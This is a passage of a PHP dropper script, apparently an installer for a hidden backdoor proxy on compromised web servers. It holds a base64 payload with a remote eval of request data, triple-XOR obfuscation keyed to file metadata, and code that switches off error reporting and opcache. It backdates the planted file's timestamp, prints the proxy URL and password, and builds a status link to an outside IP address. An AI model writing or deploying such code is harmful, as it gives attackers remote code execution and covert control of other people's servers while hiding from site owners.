lKCRyZXFpbmZvWzJdKSxUUlVFKTsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkaXBfaW5mbykgJiYgKCRpcF9pbmZvWydzdWNjZXNzJ109PVRSVUUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9bJ2lwJ109JGlwX2luZm9bImlwIl07CiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWydjb3VudHJ5X2NvZGUnXT0kaXBfaW5mb1siY291bnRyeV9jb2RlIl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZXZhbCc6CiAgICAgICAgICAgICAgICAkY29kZT1pc3NldCgkX1JFUVVFU1RbJ3BpY3R1cmUnXSkgPyBiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncGljdHVyZSddKSA6IEZBTFNFOwogICAgICAgICAgICAgICAgaWYgKCRjb2RlKSB0cnkKICAgICAgICAgICAgICAgICAgICAgewoJCQlldmFsKCRjb2RlKTsgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAkaW5mb1snc3RhdHVzJ10gID0gJ0ZBSUxFRCc7CiAgICAgICAgICAgICAgICAkaW5mb1snZXhjZXB0aW9uJ10gID0gJGUtPmdldE1lc3NhZ2UoKTsKICAgICAgICAgICAgICAgICRpbmZvWydyYXdjb2RlJ10gID0gJGNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CgkJICAgICAgIH0KCiAgICAgICAgJGluZm9bJ2FjdGlvbiddICAgPSAkcGFyYW1zLT5hY3Rpb247CiAgICAgICAgbXAoJGluZm8sJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKTsKICAgICAgICB9CgoKCgppZiAoJHBhcmFtcy0+dXJsKQoJewoJCSRjY3JjMzI9RkFMU0U7CgkJJGNmaWxlbmFtZT1jYWNoZWRfZm5hbWUoJHBhcmFtcy0+dXJsKTsKCgkJaWYgKCgkcGFyYW1zLT5jYWNoZSkgJiYgJGNmaWxlbmFtZSkKCQkJewoJCQlsaXN0KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLCRyZXNwb25zZUJvZHkpPWV4cGxvZGUoIlxuIixmaWxlX2dldF9jb250ZW50cygkY2ZpbGVuYW1lKSk7CgkJCSRyZXNwb25zZUNvZGU9X2RfZV9jb2RlKCRyZXNwb25zZUNvZGUsVFJVRSk7CgkJCSRyZXNwb25zZUhlYWRlcj1fZF9lX2NvZGUoJHJlc3BvbnNlSGVhZGVyLFRSVUUpOwoJCQkkcmVzcG9uc2VCb2R5PWJhc2U2NF9kZWNvZGUoX2RfZV9jb2RlKCRyZXNwb25zZUJvZHksVFJVRSkpOwoJCQkkY2FjaGVkY3JjMzI9Y3JjMzIoJHJlc3BvbnNlQm9keSk7CgkJCSRvcmlnY3JjMzI9JHBhcmFtcy0+Y2FjaGUtPmNyYzMyOwoJCQl9CgkJaWYgKCEoJHBhcmFtcy0+Y2FjaGUpIHx8ICgkY2FjaGVkY3JjMzIhPSRvcmlnY3JjMzIpKQoJCQkJewoJCQkJJGhlYWRlcnM9YXJyYXkoKTsKCQkJCSR2aXNpdG9yX2hlYWRlcnM9X2RfZV9jb2RlKGFycmF5X21lcmdlKGdldF9pbmNvbWluZ19oZWFkZXJzKCksYXJyYXkoJ3Byb3h5X2Jhc2UnPT4kcGFyYW1zLT5wcm94eV9iYXNlLCdwcm94eV92ZXJzaW9uJz0+UFJPWFlfVkVSU0lPTikpKTsKCQkJCSRoZWFkZXJzW109IlJFUVVFU1QtREFUQTogIi4kdmlzaXRvcl9oZWFkZXJzOwoJCQkJJGhlYWRlcnNbXT0iQUNDRVBUOiAqLyoiOwoJCQkJbGlzdCgkcmVzcG9uc2VDb2RlLCRyZXNwb25zZUhlYWRlciwkcmVzcG9uc2VCb2R5KT1yZXF1ZXN0KCRwYXJhbXMtPnVybCwkcmVxdWVzdF9hcGksJGhlYWRlcnMpOwoJCQkJaWYgKCgkY2ZpbGVuYW1lKSYmKGZpbGVfZXhpc3RzKCRjZmlsZW5hbWUpKSkgdW5saW5rKCRjZmlsZW5hbWUpOwoJCQkJaWYgKCgkcGFyYW1zLT5jYWNoZSkmJigkY2ZpbGVuYW1lKSkgZmlsZV9wdXRfY29udGVudHMoJGNmaWxlbmFtZSxfZF9lX2NvZGUoJHJlc3BvbnNlQ29kZSkuIlxuIi5fZF9lX2NvZGUoJHJlc3BvbnNlSGVhZGVyKS4iXG4iLl9kX2VfY29kZSgkcmVzcG9uc2VCb2R5KSk7CgkJCQkkcmVzcG9uc2VCb2R5PWJhc2U2NF9kZWNvZGUoJHJlc3BvbnNlQm9keSk7CgkJCQl9CgkJCWh0dHBfcmVzcG9uc2VfY29kZSgkcmVzcG9uc2VDb2RlKTsKCQkJJHJlc3BvbnNlSGVhZGVycyA9IHNwbGl0UmVzcG9uc2VIZWFkZXJzKCRyZXNwb25zZUhlYWRlcik7CgkJCWZvcmVhY2ggKCRyZXNwb25zZUhlYWRlcnMgYXMgJGhlYWRlcikgCXsKCQkJJGhlYWRlclBhcnRzID0gcHJlZ19zcGxpdCgnLzpccysvJywgJGhlYWRlciwgMik7CgkJCWlmIChjb3VudCgkaGVhZGVyUGFydHMpICE9PSAyKSB7Y29udGludWU7fQoKCQkJJGhlYWRlck5hbWUgPSAkaGVhZGVyUGFydHNbMF07CgkJCSRsb3dlcmVkSGVhZGVyTmFtZSA9IHN0cnRvbG93ZXIoJGhlYWRlck5hbWUpOwoJCQkkaGVhZGVyVmFsdWUgPSAkaGVhZGVyUGFydHNbMV07CgkJCSRsb3dlcmVkSGVhZGVyVmFsdWUgPSBzdHJ0b2xvd2VyKCRoZWFkZXJWYWx1ZSk7CgoJCQlpZiAoaW5fYXJyYXkoJGxvd2VyZWRIZWFkZXJOYW1lLCBhcnJheSgidXJsIiwicHJpbWFyeS1pcCIsImNlcnRpbmZvIiwicHJpbWFyeS1wb3J0IiwibG9jYWwtaXAiLCJsb2NhbC1wb3J0IiwiY29udGVudC1sZW5ndGgiLCJjYWNoZS1jb250cm9sIiwibGFzdC1tb2RpZmllZCIsImFjY2VwdC1yYW5nZXMiKSkpIGNvbnRpbnVlOwoJCQloZWFkZXIoIiRoZWFkZXJOYW1lOiAkaGVhZGVyVmFsdWUiLHRydWUpOwoJCQkJCQkJfQoJCWlmICgkcmVzcG9uc2VCb2R5KQoJCQl7CgkJZWNobyAkcmVzcG9uc2VCb2R5OwoJCWlmICgkcGFyYW1zLT5yYW5kb21pemUpIGVjaG8gcmFuZG9taXplX291dHB1dCgpOwoJCQl9CgoJfQokX1NFUlZFUlsiUVVFUllfU1RSSU5HIl09Z2VuZXJhdGVfcmFuZG9tX3N0cmluZyhyYW5kKDMwLDE1MCkpOwpkaWUoKTs=';
$proxy_code=trim(base64_decode($proxy_code))."\ndie();\n";
//$proxy_code=file_get_contents('code');

$domain=isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$password=getpasswordhash($domain);
define('PROXY_PASSWORD',$password);
$proxy_code=str_replace('__PASSWORD__',$password,$proxy_code);

$proxy_code=$start.$end.$proxy_code;


$proxy_code=xor_string($proxy_code,$key1);
$proxy_code=xor_string($proxy_code,$key2);
$proxy_code=xor_string($proxy_code,$key3);

$randstart=generate_random_string(rand(5,10));
$proxy_code = wordwrap($randstart.base64_encode($proxy_code), 75, "\n", true);

$content="<?php
@error_reporting(0);

".'function xor_string($string, $key) {
	$string=strval($string);
	$key=strval($key);
    for($i = 0; $i < strlen($string); $i++) 
        $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]);
    return $string;
}'."

@ini_set('opcache.enable', 0);
@ini_set('opcache.enable_cli', 0);
if (function_exists('opcache_invalidate')) 
		{
		@opcache_invalidate(__FILE__, true);
		}

\$key1=md5(fileinode(__FILE__));
\$key2=md5(filectime(__FILE__));
\$key3=md5(\$key1.\$key2);
\$prts=explode('$randstart',file_get_contents(__FILE__));
\$rawcode=end(\$prts);

\$code=base64_decode(\$rawcode);
\$code=xor_string(\$code,\$key3);
\$code=xor_string(\$code,\$key2);
\$code=xor_string(\$code,\$key1);
@eval(\$code);
?>\n$proxy_code";

file_put_contents($outfile,$content);
touch($outfile,$donor);


if (file_exists($outfile))
		{

//try {
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) $proto=$_SERVER['HTTP_X_FORWARDED_PROTO'];
	else $proto=isset($_SERVER['HTTPS'])? 'https' : 'http';

	$realpath=realpath($outfile) ? realpath($outfile) :  getcwd().'/'.basename($outfile);
	$docroot = (substr($_SERVER['DOCUMENT_ROOT'],-1)=='/') ? substr($_SERVER['DOCUMENT_ROOT'],0,-1) : $_SERVER['DOCUMENT_ROOT'];
	$docroot = realpath($docroot) ? realpath($docroot) : $docroot;

	$base=$proto."://".$_SERVER["HTTP_HOST"];
	$www_proxy_path=str_replace($docroot,$base,$realpath);
	echo "Proxy_URL: $www_proxy_path\n";
//} catch (ExceptionType $e) {} 
//	finally {
	echo "Proxy_Password: '$password'\n";
	echo "Domain_md5('$domain'): $password\n"; //
	echo "Proxy LocalPath: $realpath\nInode: $finode Ctime: $ctime\n";


	$ppp=array('action'=>'fstatus','url' =>"http://62.164.177.15/wp-includes/sosage.php?host=$domain");


echo "Status: $www_proxy_path?"._d_e_code($ppp)."\n";
//	}


		} else 
			{
			echo "Failed to create file: [".getcwd()."/$outfile]\n";
			}


#############################################################################
function getpasswordhash($domain)
	{	
	if (!$domain) return '';
/*
	$parts=explode('.',$domain);
	$hash='.'.end($parts);
	$hash=prev($parts).$hash;
	return md5($hash);
*/

	return md5($domain);
	}
#############################################################################
function randinvis()
	{
	$arr=array("\t","\n"," ");
	return $arr[array_rand($arr)];
	}
#==============================================
function xor_string($string, $key) {
	$key=strval($key);
    for($i = 0; $i < strlen($string); $i++) 
        $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]);
    return $string;
}
#==============================================
if (!function_exists('generate_random_string')) 
{

function generate_random_string($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
}
#==============================================
function rc4local($str,$key=PROXY_PASSWORD) {
    if (empty($str)) return '';
    if (!is_string($str)) $str=strval($str);
	$s = array();
	for ($i = 0; $i < 256; $i++) {
		$s[$i] = $i;
	}
	$j = 0;
	for ($i = 0; $i < 256; $i++) {
		$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
		$x = $s[$i];
		$s[$i] = $s[$j];
		$s[$j] = $x;
	}
	$i = 0;
	$j = 0;
	$res = '';
	for ($y = 0; $y < strlen($str); $y++) {
		$i = ($i + 1) % 256;
		$j = ($j + $s[$i]) % 256;
		$x = $s[$i];
		$s[$i] = $s[$j];
		$s[$j] = $x;
		$res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
	}
	return $res;
}
?>